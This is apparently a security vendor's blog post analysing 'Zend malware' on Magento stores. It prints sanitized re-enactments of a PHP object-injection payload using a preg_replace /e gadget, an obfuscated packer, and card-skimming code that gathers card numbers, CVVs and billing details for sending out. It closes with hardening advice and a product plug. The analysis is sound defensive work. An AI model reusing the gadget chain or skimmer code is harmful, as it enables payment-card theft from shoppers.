Alex Constantinou
7 min read

New forms of malware are being created and identified every day; discovering and exploiting vulnerabilities can be a lucrative business. 2014 saw 317 million new pieces of malware, equating to nearly 1 million new threats being released each day according to the Symantec Threat Report.  

Understanding Zend Malware and How to Secure Your Magento Site

Today, we want to focus on one in particular sample that we’ve been encountering pretty regularly over recent weeks; dubbed simply ‘Zend malware’. It’s a new type of PHP remote code execution, utilizing the Zend Framework to exfiltrate payment card numbers.

The Zend Framework[1] is used in Magento to develop web applications and services and provides object-oriented code. The malicious code has been discovered consistently in the core_config_data of Magento.

It must be noted that this is not a vulnerability in Zend Framework. The vulnerability lies in the fact that some applications based on Zend Framework still use unserialize() on user input and it is through this practice – along with specially crafted input the problem exists. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a “vulnerable” unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope (PHP Object Injection - OWASP, 2015).

Re-enactment example code:
O:8:"Zend_Log":1: {
    S:11:"\00\2A\00_writers";
    a:1: {
        i:0;
        O:20:"Zend_Log_Writer_Mail":5 {
            S:16:"\00\2A\00_eventsToMail";
            a:1 {
                i:0;
                i:1;
            }
            S:22:"\00\2A\00_layoutEventsToMail";
            a:0
            : {}
            S:8:"\00\2A\00_mail";
            O:9:"Zend_Mail":0: {}
            S:10:"\00\2A\00_layout";
            O:11:"Zend_Layout":3: {
                S:13:"\00\2A\00_inflector";
                O:23:"Zend_Filter_PregReplace":2: {
                    S:16:"\00\2A\00_matchPattern";
                    s:12:"/987654320/e";
                    S:15:"\00\2A\00_replacement";
                    S:4425:"\40\65\76\61\6c\28\62\61\73\65\36\34\5f\64\65\63\6f\64\65
('TWFsaWNpb3VzQmFzZTY0Q29kZQ==));";
                }
                S:20:"\00\2A\00_inflectorEnabled";
                b:1;
                S:10:"\00\2A\00_layout";
                s:9:"987654320";
            }
            S:22:"\00\2A\00_subjectPrependText";
            N;
        }
    }
}

The identified code abuses a dangerous feature of the standard preg_replace function call, allowing code execution to be performed on the server. The malicious code is to be evaluated and executed if the regular expression pattern /987654321/e is not detected. This capability relies on the /e argument that instructs the preg_replace function to actually evaluate (execute) the PHP code that is found in the next argument (the replacement string) and use the result of it as the actual replacement string content. The code in our example turns out to be a  php packer.

 

Re-enactment example code:
if (!function_exists('_deploy'))  {
    $to_func = 'r'.'e'.'g'.'i'.'s'.'t'.'e'.'r'.'_'.'s'.'h'.'u'.'t'.'d'.'o'.'w'.'n'.'_'.'f'.
'u'.'n'.'c'.'t'.'i'.'o'.'n';
    function _deploy() {
        $pack = 'pa'."c"."k";
        $abc = "\x63\x72"."\x65\x61\x74\x65\x5f".
"\x66\x75\x6e\x63\x74\x69\x6f\x6e";
        $cre_f = $abc('', $pack("H*",
'6578616d706c656f666865787061636b6564636f6465')); == > Example packed Hex
        $cre_f();
    }
    $to_func('_deploy');
}

 

Unpacking the data we discovered that the data was, in fact, malicious code that would harvest card details, encode them in base64 and then post the data to an external address.

 

Re-enactment example code:
if (isset($_POST['payment']) and !empty($_POST['payment']['cc_number']))  {
    $checkout = Mage::getSingleton('checkout/session')  -  > getQuote();
    $billAddress = $checkout  -  > getBillingAddress();
    $tmp_dat = $billAddress;
    $arr = array('c1' = > $_POST['payment']['cc_number'], 'c2' = > $_POST['payment']['cc_cid'], 'name' = > $tmp_dat['firstname']." ".$tmp_dat['lastname'], 'month' = > $_POST['payment']['cc_exp_month'], 'year' = > $_POST['payment']['cc_exp_year'], 'address' = > $tmp_dat['street'], 'city' = > $tmp_dat['city'], 'country' = > $tmp_dat['country_id'], 'state' = > $tmp_dat['region_id'], 'zip' = > $tmp_dat['postcode'], 'phone' = > $tmp_dat['telephone'], 'from' = > $_SERVER['HTTP_HOST']);
    _send_($arr);
    unset($arr);
    unset($tmp_dat);
}

 

Recommendations:

As previously stated, the malicious code was found in the core_config_data database table, which is only accessible by an administrator account. Our investigations had concluded a significant portion of website compromises stem from exposed administrative URLs.  This coupled with weak, short or generally insecure passwords means threat actors have a fairly obvious and un-challenging attack surface through which to compromise websites. 

The obvious countermeasure would be to either “move” the administration URL to something less obvious or even better, restrict the points of origin that is permitted to communicate with the interface.  In order to make your admin path more difficult to find (thereby making it much harder to locate and attack) we recommend creating an obscure admin path. For example:

You should change your Admin Path from yourwebsite.com/index.php/admin or yourwebsite.com/admin to yourwebsite.com/store/somethinghardtoguess.

Furthermore, passwords can easily be guessed with dictionary attacks and brute force attacks, therefore a password should contain more than 8 characters and use a combination of lowercase, uppercase, numeric and where possible, symbol characters. It should also be updated on a regular basis.  

Additionally, everyone is expecting an “admin” user to be present on these systems, which unfortunately “removes” one variable a brute force attacker needs to evaluate. It is possible to rename the admin user to an arbitrary name, by simply selecting the System -> My Account within the Magento administration panel, then updating the “User Name” field and saving the changes.  Now attackers would need to guess the username and the password….. Simply restricting access to the URL to only known good addresses is by far the most effective solution however.

A final precautionary step would be to inspect the core_config_data table inside your database for anything unusual or indicators similar to those displayed above.

If you'd like to automate the search for this malicious code, sign up for a trial of our FGX-Web solution and we'll be happy to help you out.

Start FGX-Web Trial Now

Whilst protecting against malware should obviously make up a large part of your security posture, there's more to your security chain than just malicious software. Social engineering is being highlighted more and more as the main cause of breaches. Read more about it in our blog post! 

Subscribe to our Blog

Contact Us

Access cybersecurity advisory services

 

Alex Constantinou
Alex Constantinou

Alexander is a cybersecurity professional with over 6 years of experience, he has worked for over a hundred different clients (ranging from small businesses to multinational corporations) operating across various industries including (but not limited to) banking and fintech performing penetration testing. Alex is devoted to participating in Capture The Flag events (CTF) and offensive contests.

See All Articles

NOTES

PHP Object Injection - OWASP. (2015). Owasp.org. Retrieved 16 March 2018, from

https://www.owasp.org/index.php/PHP_Object_Injection
SUBSCRIBE

Subscribe to our blog

Security never stops. Get the most up-to-date information by subscribing to the Foregenix blog.